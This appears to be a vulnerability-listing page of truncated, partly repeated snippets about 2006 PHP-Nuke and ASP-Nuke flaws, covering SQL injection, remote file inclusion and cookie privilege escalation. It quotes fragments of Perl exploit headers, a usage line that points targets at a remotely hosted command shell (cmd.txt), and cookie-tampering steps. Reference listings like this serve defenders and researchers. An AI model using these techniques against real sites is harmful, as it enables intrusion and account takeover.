CVE-2006-6200

The CVE-2006-6200 entry describes multiple SQL injection vulnerabilities in the News module of PHP-Nuke (version 7.9 and earlier). Specifically, the rate_article and rate_complete functions in modules/News/index.php are affected when magic_quotes_gpc is disabled, allowing remote attackers to exec...

CVE-2006-6202

PHP remote file inclusion vulnerability in modules/NukeAI/util.php in the NukeAI 0.0.3 Beta module for PHP-Nuke, aka Program E is an AIML chatterbot, allows remote attackers to execute arbitrary PHP code via a URL in the AIbasedir parameter...

PHP-Nuke News Module Index.PHP SQL注入漏洞

PHP-Nuke News是一款基于PHP-Nuke的一个新闻模块。 PHP-Nuke News不充分过滤用户提交的URI输入，远程攻击者可以利用漏洞进行SQL注入攻击，获得敏感信息。 问题是'Index.PHP'脚本对用户提交的'sid'参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息。 PHP-Nuke PHP-Nuke 7.9 PHP-Nuke PHP-Nuke 7.8 PHP-Nuke PHP-Nuke 7.7 PHP-Nuke PHP-Nuke 7.6 PHP-Nuke PHP-Nuke 7.5 PHP-Nuke PHP-Nuke 7.4...

PHP-Nuke Mermaid Module V1.2 (formdisp.php) Remote File Include Exploit

No description provided by source. !/usr/bin/perl PHP-Nuke Mermaid Module V1.2 formdisp.php Remote File Include Exploit SiberSavascilar.CoM secuirty - Hacking Bug Found & coded By CrackersChild [email protected] Kullanimi perl cra.pl target cmd shell location cmd shell variable pe...

cra.pl.txt

!/usr/bin/perl PHP-Nuke Mermaid Module V1.2 formdisp.php Remote File Include Exploit SiberSavascilar.CoM secuirty - Hacking Bug Found & coded By CrackersChild [email protected] Kullanimi perl cra.pl perl cra.pl http://site.com/ http://site.com/cmd.txt cmd cmd shell example: cmd...

nst-30.txt

/ -------------------------------------------------------- Neo Security Team NST - Advisory 30 - 2006-11-24 -------------------------------------------------------- Program: PHP-Nuke Homepage: http://www.phpnuke.org Vulnerable Versions: PHP-Nuke sqlfetchrow$db-sqlquery"SELECT title FROM...

ASP-Nuke Community <= 1.5 Cookie Privilege Escalation Vulnerability

No description provided by source. Title : ASP-Nuke Community = v1.5 Cookie Modification Privilege Escalation Vulnerability Author : ajann S.Page : http://www.rot.dk D.Page : http://www.rot.dk/aspnuke/downloads.asp Greetz : Nukedx Cookie ---------- Open the Cookie Editor= Find cookie informations...

PHP-Nuke Mermaid Module V1.2 (formdisp.php) Remote File Include Exploit

No description provided by source. !/usr/bin/perl PHP-Nuke Mermaid Module V1.2 formdisp.php Remote File Include Exploit SiberSavascilar.CoM secuirty - Hacking Bug Found & coded By CrackersChild [email protected] Kullanimi perl cra.pl target cmd shell location cmd shell variable pe...

ASP-Nuke Community 1.5 - Cookie Privilege Escalation

ASP-Nuke Community 1.5 - Cookie Privilege Escalation Title : ASP-Nuke Community Find cookie informations. Change Informations= Cookie Informations: ASPNUKE14%5Fpseudoname , pseudoname = "Welcome USERNAME" see for ASPNUKE14%5Fpseudo , pseudo = Login UserName ASPNUKE14%5Fpseudoid , pseudoid = UserI...

PHP-Nuke Mermaid Module V1.2 (formdisp.php) Remote File Include Exploit

!/usr/bin/perl PHP-Nuke Mermaid Module V1.2 formdisp.php Remote File Include Exploit SiberSavascilar.CoM secuirty - Hacking Bug Found & coded By CrackersChild [email protected] Kullanimi perl cra.pl target cmd shell location cmd shell variable perl cra.pl http://site.com/...

ASP-Nuke Community <= 1.5 Cookie Privilege Escalation Vulnerability

Exploit for unknown platform in category web applications =================================================================== ASP-Nuke Community Find cookie informations. Change Informations= Cookie Informations: ASPNUKE14%5Fpseudoname , pseudoname = "Welcome USERNAME" see for ASPNUKE14%5Fpseudo ...

PHP-Nuke &lt;= 7.9 News module &quot;sid&quot; SQL Injection vulnerabilities

/ -------------------------------------------------------- Neo Security Team NST - Advisory 30 - 2006-11-24 -------------------------------------------------------- Program: PHP-Nuke Homepage: http://www.phpnuke.org Vulnerable Versions: PHP-Nuke = 7.9 Risk: Medium Impact: Medium Risk -==PHP-Nuke ...

ASP-Nuke Community 1.5 - Cookie Privilege Escalation

Title : ASP-Nuke Community Find cookie informations. Change Informations= Cookie Informations: ASPNUKE14%5Fpseudoname , pseudoname = "Welcome USERNAME" see for ASPNUKE14%5Fpseudo , pseudo = Login UserName ASPNUKE14%5Fpseudoid , pseudoid = UserId ASPNUKE14%5Femail , email = User Email Save and go ...

PHP-Nuke NukeAI Module 3b (util.php) Remote File Include Exploit

Exploit for unknown platform in category web applications ================================================================ PHP-Nuke NukeAI Module 3b util.php Remote File Include Exploit ================================================================ !/usr/bin/perl...

PHP-Nuke NukeAI Module 3b - 'util.php' Remote File Inclusion

!/usr/bin/perl +------------------------------------------------------------------------------------------- + nukeai beta3 util.php Remote Code Execution Vulnerability +------------------------------------------------------------------------------------------- + Affected Software .: nukeai beta3 ...

CVE-2006-6070

SQL injection vulnerability in module/account/register/register.asp in ASP Nuke 0.80 and earlier allows remote attackers to execute arbitrary SQL commands via the StateCode parameter...

CVE-2006-6070

SQL injection vulnerability in ASP Nuke 0.80 and earlier (module/account/register/register.asp) allows remote attackers to execute arbitrary SQL via the StateCode parameter. CVSSv2 base score 7.5 (HIGH; NETWORK, LOW access complexity; no authentication; partial confidentiality, integrity, and ava...

CVE-2006-6070

SQL injection vulnerability in module/account/register/register.asp in ASP Nuke 0.80 and earlier allows remote attackers to execute arbitrary SQL commands via the StateCode parameter...

ASPNuke &lt;= 0.80 &#40;register.asp&#41; Remote SQL Injection Vulnerability

Title : ASPNuke = 0.80 register.asp Remote SQL Injection Vulnerability Author : ajann S.Page : http://www.aspnuke.com D.Page : http://sourceforge.net/project/showfiles.php?groupid=92470 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ASP Nuke...

aspnuke080.txt

Title : ASPNuke = 0.80 register.asp Remote SQL Injection Vulnerability Author : ajann S.Page : http://www.aspnuke.com D.Page : http://sourceforge.net/project/showfiles.php?groupid=92470 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ASP Nuke...